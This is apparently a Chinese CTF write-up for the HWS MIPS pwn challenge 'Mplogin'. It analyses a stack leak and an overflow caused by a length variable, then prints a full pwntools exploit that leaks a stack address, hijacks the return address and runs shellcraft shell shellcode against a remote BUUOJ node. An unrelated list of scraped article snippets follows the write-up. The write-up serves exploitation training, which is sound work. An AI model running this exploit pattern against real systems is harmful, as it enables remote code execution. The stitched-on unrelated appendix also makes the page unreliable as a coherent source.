HWS赛题 入门 MIPS Pwn-Mplogin(MIPS_shellcode)
解题所涉知识点:
泄露或修改内存数据:
- 堆地址:
- 栈地址:栈上数据的连带输出(Stack Leak) && Stack溢出覆盖内存
- libc地址:
- BSS段地址:
劫持程序执行流程:[[MIPS_ROP]]
获得shell或flag:MIPS_Shellcode
题目类型:
MIPS_Pwn
相关知识点:
strncmp的利用
MIPS 与 x86 函数栈帧的开辟和恢复对比
信息收集总结
题目信息:
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ file Mplogin
Mplogin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ checksec --file=Mplogin
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No Symbols No 0 3Mplogin
libc版本:
wp借鉴:HWS赛题 入门 MIPS Pwn | Clang裁缝店 (xuanxuanblingbling.github.io)
mips pwn入门指北 | waddle’s blog (mikokuma.github.io)
异构 Pwn 之 Mips32 | 狼目安全 (lmboke.com)
MIPS PWN 入门 – itewqq’s blog
MIPS PWN学习 - 先知社区 (aliyun.com)
程序运行回馈
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ qemu-mipsel -L ./ Mplogin
-----we1c0me t0 MP l0g1n s7stem-----
Username : 123456 ┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ tree -N -L 2
.
├── lib
│ ├── ld-uClibc.so.0
│ └── libc.so.0
└── Mplogin2 directories, 3 files
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ qemu-mipsel -L ./ Mplogin | hexdump -C
00000000 1b 5b 33 33 6d 2d 2d 2d 2d 2d 77 65 31 63 30 6d |.[33m-----we1c0m|
00000010 65 20 74 30 20 4d 50 20 6c 30 67 31 6e 20 73 37 |e t0 MP l0g1n s7|
00000020 73 74 65 6d 2d 2d 2d 2d 2d 0a 1b 5b 33 34 6d 55 |stem-----..[34mU|
adminaaaaaaaaaaaaaaaaaa
00000030 73 65 72 6e 61 6d 65 20 3a 20 43 6f 72 72 65 63 |sername : Correc|
00000040 74 20 6e 61 6d 65 20 3a 20 61 64 6d 69 6e 61 61 |t name : adminaa|
00000050 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaaaaaaaaaaaaaaa|
00000060 0a b0 ae 2a 2b 90 0b 40 1b 5b 33 31 6d 50 72 65 |...*+..@.[31mPre|
accessaaaaaaaaaaaaaaa
00000070 5f 50 61 73 73 77 6f 72 64 20 3a 20 50 61 73 73 |_Password : Pass|
012345678911111111111111111111111111111
qemu: uncaught target signal 10 (Bus error) - core dumped
00000080 77 6f 72 64 20 3a 20 43 6f 72 72 65 63 74 20 70 |word : Correct p|
00000090 61 73 73 77 6f 72 64 20 3a 20 2a 2a 2a 2a 2a 2a |assword : ******|
000000a0 2a 2a 2a 2a 0a |****.|
000000a5
zsh: bus error qemu-mipsel -L ./ Mplogin |
zsh: done hexdump -C
核心伪代码分析:
存在利用的的代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{int v3; // $a2int len; // [sp+18h] [+18h]setbuf(stdin, 0, envp);setbuf(stdout, 0, v3);printf("\x1B[33m");puts("-----we1c0me t0 MP l0g1n s7stem-----");len = checkuser();checkpassword(len);printf("\x1B[32m");return puts("Now you getshell~");
}
int checkuser()
{char user[24]; // [sp+18h] [+18h] BYREFmemset(user, 0, sizeof(user));printf("\x1B[34m");printf("Username : ");read(0, user, 24);if ( strncmp(user, "admin", 5) )exit(0);printf("Correct name : %s", user);return strlen(user);
}
由于没有处理输入结尾,并可以填满栈上的缓冲区,导致再次打印时,栈上的数据会被泄露!

成功泄漏出栈上地址!
int __fastcall sub_400978(int len)
{char buf[20]; // [sp+18h] [+18h] BYREFint len1; // [sp+2Ch] [+2Ch]char pass[36]; // [sp+3Ch] [+3Ch] BYREFlen1 = len + 4;printf("\x1B[31m");printf("Pre_Password : ");read(0, buf, 36);printf("Password : ");read(0, pass, len1);if ( strncmp(buf, "access", 6) || strncmp(pass, "0123456789", 10) )exit(0);return puts("Correct password : **********");
}
这个函数首先可以输入溢出覆盖v3这个变量,再次输入时由v3变量控制长度导致栈溢出

MIPS 的开辟和恢复栈帧:
.text:00400A2C 03 C0 E8 25 move $sp, $fp
# 将帧指针 $fp 的值恢复到栈指针 $sp,撤销函数调用时对栈的修改,恢复函数调用前的栈状态。.text:00400A30 8F BF 00 7C lw $ra, 0x58+var_s24($sp)
# 从栈中偏移 0x7C 的位置恢复返回地址寄存器 $ra,这个值是在函数进入时保存的,用于返回到调用函数。.text:00400A34 8F BE 00 78 lw $fp, 0x58+var_s20($sp)
# 从栈中偏移 0x78 的位置恢复帧指针 $fp,这个值是函数调用之前的帧指针,恢复之前的栈帧结构。.text:00400A38 8F B7 00 74 lw $s7, 0x58+var_s1C($sp)
# 从栈中偏移 0x74 的位置恢复保存的寄存器 $s7 的值。.text:00400A3C 8F B6 00 70 lw $s6, 0x58+var_s18($sp)
# 从栈中偏移 0x70 的位置恢复保存的寄存器 $s6 的值。.text:00400A40 8F B5 00 6C lw $s5, 0x58+var_s14($sp)
# 从栈中偏移 0x6C 的位置恢复保存的寄存器 $s5 的值。.text:00400A44 8F B4 00 68 lw $s4, 0x58+var_s10($sp)
# 从栈中偏移 0x68 的位置恢复保存的寄存器 $s4 的值。.text:00400A48 8F B3 00 64 lw $s3, 0x58+var_sC($sp)
# 从栈中偏移 0x64 的位置恢复保存的寄存器 $s3 的值。.text:00400A4C 8F B2 00 60 lw $s2, 0x58+var_s8($sp)
# 从栈中偏移 0x60 的位置恢复保存的寄存器 $s2 的值。.text:00400A50 8F B1 00 5C lw $s1, 0x58+var_s4($sp)
# 从栈中偏移 0x5C 的位置恢复保存的寄存器 $s1 的值。.text:00400A54 8F B0 00 58 lw $s0, 0x58+var_s0($sp)
# 从栈中偏移 0x58 的位置恢复保存的寄存器 $s0 的值。.........text:00400A58 27 BD 00 80 addiu $sp, $sp, 0x80
# 恢复栈指针 $sp,撤销函数调用时分配的栈空间(即加回 0x80 字节)。.text:00400A5C 03 E0 00 08 jr $ra
# 跳转到 $ra 保存的返回地址,结束当前函数并返回到调用函数。.text:00400A60 00 00 00 00 nop
# 无操作(NOP),这是一个占位指令,通常用来避免延迟槽问题。

发现栈地址是可以执行可读写的:


攻击思路总结
在输入user时候,输入admin时候就可以通过验证,由于字符串对比是使用strncmp函数对比所以可以通过输入超过adminaaaaaa既可以验证成功又可以连带输出栈上的地址,获得栈上地址后!就可以劫持返回地址并且再栈上写入shellocde这样就可以成功执行了
脚本:
import argparse
from pwn import *
from LibcSearcher import *# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()pwnfile = './Mplogin'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')is_remote = args.r
is_debug = args.dif is_remote:sh = remote('node5.buuoj.cn', 26456)
else:if is_debug:sh = process(["qemu-mipsel", "-L", "./", "-g", "1234", pwnfile])else:sh = process(["qemu-mipsel", "-L", "./", pwnfile])def mygdb():if not is_remote and is_debug:gdb.attach(sh, """target remote localhost:1234b *0x4008C8""") # brva 0xe93
mygdb()
# leak stack(old fp)
sh.sendafter("name : ",'admin'.ljust(0x18,'a'))
sh.recvuntil("Correct name : ");
sh.recv(0x18)
stack = u32(sh.recv(4))# stack overflow
sh.sendafter("Pre_Password : ",b"access".ljust(0x14,b'2')+p32(0x100))
sh.sendafter("Password : ",b"0123456789".ljust(0x28,b"2")+p32(stack)+asm(shellcraft.sh()))sh.interactive()相关文章:
HWS赛题 入门 MIPS Pwn-Mplogin(MIPS_shellcode)
解题所涉知识点: 泄露或修改内存数据: 堆地址:栈地址:栈上数据的连带输出(Stack Leak) && Stack溢出覆盖内存libc地址:BSS段地址: 劫持程序执行流程:[[MIPS_ROP]] 获得shell或flag&am…...
纯血鸿蒙启动公测,爱加密鸿蒙加固平台发布,助力鸿蒙应用安全运营!
鸿蒙系统打破了移动操作系统两极格局,实现操作系统核心技术的自主可控、安全可靠,在神州大地上掀起一波科技革新的浪潮,HarmonyOS NEXT成为大型企业必须要布局的应用系统之一。 HarmonyOS NEXT于10月8日正式开启公测,距离面向全体…...
MySQL中 truncate、drop和delete的区别
MySQL中 truncate、drop和delete区别 truncate 执行速度快,删除所有数据,但是保留表结构不记录日志事务不安全,不能回滚可重置自增主键计数器 drop 执行速度较快,删除整张表数据和结构不记录日志事务不安全,不能回…...
什么开放式耳机值得买?开放式耳机推荐排行榜!
长时间佩戴传统入耳式耳机有时可能会影响耳道健康,鉴于此,转而选择不入耳设计的开放式耳机就成了不少人的新倾向,它们有助于减少细菌滋生和耳道闷热的烦恼。为了帮助大家找到合适的选项,下面我将列举一些市面上口碑不错的开放式耳…...
Apache Doris的分区与分桶详解
目录 第一章 Doris介绍和分区分桶作用 1.1 Doris背景介绍 1.2 分区与分桶的意义 第二章 原理解析 2.1 分区机制 2.1.1 定义 2.1.2 类型 2.1.3 工作原理 2.2 分桶机制 2.2.1 概念 2.2.2 实现方式 2.2.3 与分区的关系 第三章 手动分区与自动分区对比 3.1 手动分区 …...
docker详解介绍+基础操作 (二)info详解
1 docker相关信息和优化配置 1)查看docker版本详解 rootzz:~# docker version Client: Docker Engine - CommunityVersion: 27.3.1API version: 1.47Go version: go1.22.7Git commit: ce12230Built: Fri Sep 20 11:40:…...
C0023.在Clion中创建控件,对控件进行提升为自定义控件的步骤
新建Ui界面文件 修改新生成的ui文件头文件 关闭之前打开的ui文件,如上图Qt Designer中打开的,然后修改新生成的ui文件对应的头文件,改成自己需要的控件类即可。 提升控件为自定义类 将如下头文件中的类名和头文件名输入到提升窗口中&#…...
探索 C# 常用第三方库与框架
在 C# 开发中,第三方库和框架极大地提高了开发效率和代码质量。通过这些库,开发者可以快速处理 JSON 数据、简化对象映射、记录日志、以及高效地与数据库交互。本文将介绍四个常用的 C# 第三方库:Newtonsoft.Json、AutoMapper、NLog/Serilog …...
NodeJS GRPC简单的例子
1. 定义 .proto 文件 首先,创建一个 .proto 文件,定义服务和消息: syntax "proto3";package helloworld;service Greeter {rpc SayHello (HelloRequest) returns (HelloReply) {}rpc SayHelloAgain (HelloRequest) returns (Hel…...
无人机之三维航迹规划篇
一、基本原理 飞行环境建模:在三维航迹规划中,首先需要对飞行环境进行建模。这包括对地形、障碍物、气象等因素进行准确的测量和分析,以获得可行的飞行路径。 飞行任务需求分析:根据无人机的任务需求,确定航迹规划的…...
风格迁移-StyTr 2 : Image Style Transfer with Transformers
风格迁移-StyTr 2 : Image Style Transfer with Transformers 论文链接:Image Style Transfer with Transformers 源码链接:StyTR-2 文章目录 风格迁移-StyTr 2 : Image Style Transfer with TransformersStyTR架构图图像内容编码器内容感知位置编码&…...
上百种【基于YOLOv8/v10/v11的目标检测系统】目录(python+pyside6界面+系统源码+可训练的数据集+也完成的训练模型)
待更新(持续更新),早关注,不迷路............................................................................... 目标检测系统操作说明【用户使用指南】(pythonpyside6界面系统源码可训练的数据集也完成的训练模型ÿ…...
记录搜罗到的Matlab 对散点进行椭圆拟合
需要基于一些散点拟合椭圆估计并计算出椭圆的参数和周长,搜罗到直接上代码 (1)有用的椭圆拟合及参数计算函数 function W fitellipse(x,y) % 构造矩阵 D [x.*x, x.*y, y.*y, x, y,ones(size(x))]; S D*D; G zeros(6); G(1,3) 2; G(3,1)…...
分享我最近使用《柬埔寨语翻译通》App的体验,不会说高棉语也能去柬埔寨旅游,畅通无阻!
最近,我尝试了一款名为《柬埔寨语翻译通》的应用程序,它旨在帮助用户进行中文和高棉语之间的翻译。以下是我使用这款应用的一些体验和感受。 双向翻译功能:我首先测试了它的翻译功能。《柬埔寨语翻译通》能够将中文翻译成高棉语,反…...
文本语义检索系统的搭建过程,涵盖了召回、排序以及Milvus召回系统、短视频推荐等相关内容
大家好,我是微学AI,今天给大家介绍一下本文详细介绍了文本语义检索系统的搭建过程,涵盖了召回、排序以及Milvus召回系统的相关内容。通过使用PyTorch框架,我们提供了样例代码,以帮助读者更好地理解和实践。该系统具有广…...
redis在项目中运用(基础)
mysql学完命令之后,学过jdbc。 redis也要使用Java连接redis数据库 1.Jedis 2.RedisTemplate[重点] 1、Jedis【了解】 jedis是redis的java版本的客户端实现,jedis中提供了针对redis命令的操作 1.1导入jar文件 Maven方式 <dependency><group…...
libaom 源码分析系列:svc_encoder_rtc.cc 文件
源码函数关系 文件功能:实现 AV1 svc 编码的 RTC 功能 demo文件位置:libaom/examples/svc_encoder_rtc.cc文件内函数关系图: 结构体 AppInput:svc_encoder_rtc.cc 所属 demo 的结构体,作为从命令行接受参数的结构体;AvxVideoWriter:输出视频写入结构体;aom_codec_enc_c…...
MySQL备份和还原,用mysqldump、mysql和source命令来完成
MySQL备份和还原,都是利用mysqldump、mysql和source命令来完成的。 mysqldump命令使用方法 1运行 | cmd |利用 cd C:\Program Files\MySQL\MySQL Server 9.0\bin”命令进入bin文件夹 2输入命令 mysqldump -h127.0.0.1 -P3306 -uroot -pQWERTY zssjkcf>d:123.sql mysqldump -…...
MySQL Server、HeidiSQL(MySQL 数据库工具)
目录 一、MySQL Server (一)官网下载 (二)安装与配置 二、HeidiSQL软件 (一)安装 1. 官网下载 2. 打开 3. 使用 (1)打开服务 (2)新增数据库 ÿ…...
矩阵相关算法
矩阵旋转90度 给定一个 n n 的二维矩阵 matrix 表示一个图像,请你将图像顺时针旋转 90 度。 #include <iostream> #include <vector>using namespace std;void rotate(vector<vector<int>>& matrix) {int n matrix.size();// 第一步…...
(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)
题目:3442. 奇偶频次间的最大差值 I 思路 :哈希,时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况,哈希表这里用数组即可实现。 C版本: class Solution { public:int maxDifference(string s) {int a[26]…...
Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件
今天呢,博主的学习进度也是步入了Java Mybatis 框架,目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学,希望能对大家有所帮助,也特别欢迎大家指点不足之处,小生很乐意接受正确的建议&…...
Linux简单的操作
ls ls 查看当前目录 ll 查看详细内容 ls -a 查看所有的内容 ls --help 查看方法文档 pwd pwd 查看当前路径 cd cd 转路径 cd .. 转上一级路径 cd 名 转换路径 …...
最新SpringBoot+SpringCloud+Nacos微服务框架分享
文章目录 前言一、服务规划二、架构核心1.cloud的pom2.gateway的异常handler3.gateway的filter4、admin的pom5、admin的登录核心 三、code-helper分享总结 前言 最近有个活蛮赶的,根据Excel列的需求预估的工时直接打骨折,不要问我为什么,主要…...
ffmpeg(四):滤镜命令
FFmpeg 的滤镜命令是用于音视频处理中的强大工具,可以完成剪裁、缩放、加水印、调色、合成、旋转、模糊、叠加字幕等复杂的操作。其核心语法格式一般如下: ffmpeg -i input.mp4 -vf "滤镜参数" output.mp4或者带音频滤镜: ffmpeg…...
NXP S32K146 T-Box 携手 SD NAND(贴片式TF卡):驱动汽车智能革新的黄金组合
在汽车智能化的汹涌浪潮中,车辆不再仅仅是传统的交通工具,而是逐步演变为高度智能的移动终端。这一转变的核心支撑,来自于车内关键技术的深度融合与协同创新。车载远程信息处理盒(T-Box)方案:NXP S32K146 与…...
A2A JS SDK 完整教程:快速入门指南
目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库ÿ…...
Ubuntu Cursor升级成v1.0
0. 当前版本低 使用当前 Cursor v0.50时 GitHub Copilot Chat 打不开,快捷键也不好用,当看到 Cursor 升级后,还是蛮高兴的 1. 下载 Cursor 下载地址:https://www.cursor.com/cn/downloads 点击下载 Linux (x64) ,…...
协议转换利器,profinet转ethercat网关的两大派系,各有千秋
随着工业以太网的发展,其高效、便捷、协议开放、易于冗余等诸多优点,被越来越多的工业现场所采用。西门子SIMATIC S7-1200/1500系列PLC集成有Profinet接口,具有实时性、开放性,使用TCP/IP和IT标准,符合基于工业以太网的…...
区块链技术概述
区块链技术是一种去中心化、分布式账本技术,通过密码学、共识机制和智能合约等核心组件,实现数据不可篡改、透明可追溯的系统。 一、核心技术 1. 去中心化 特点:数据存储在网络中的多个节点(计算机),而非…...
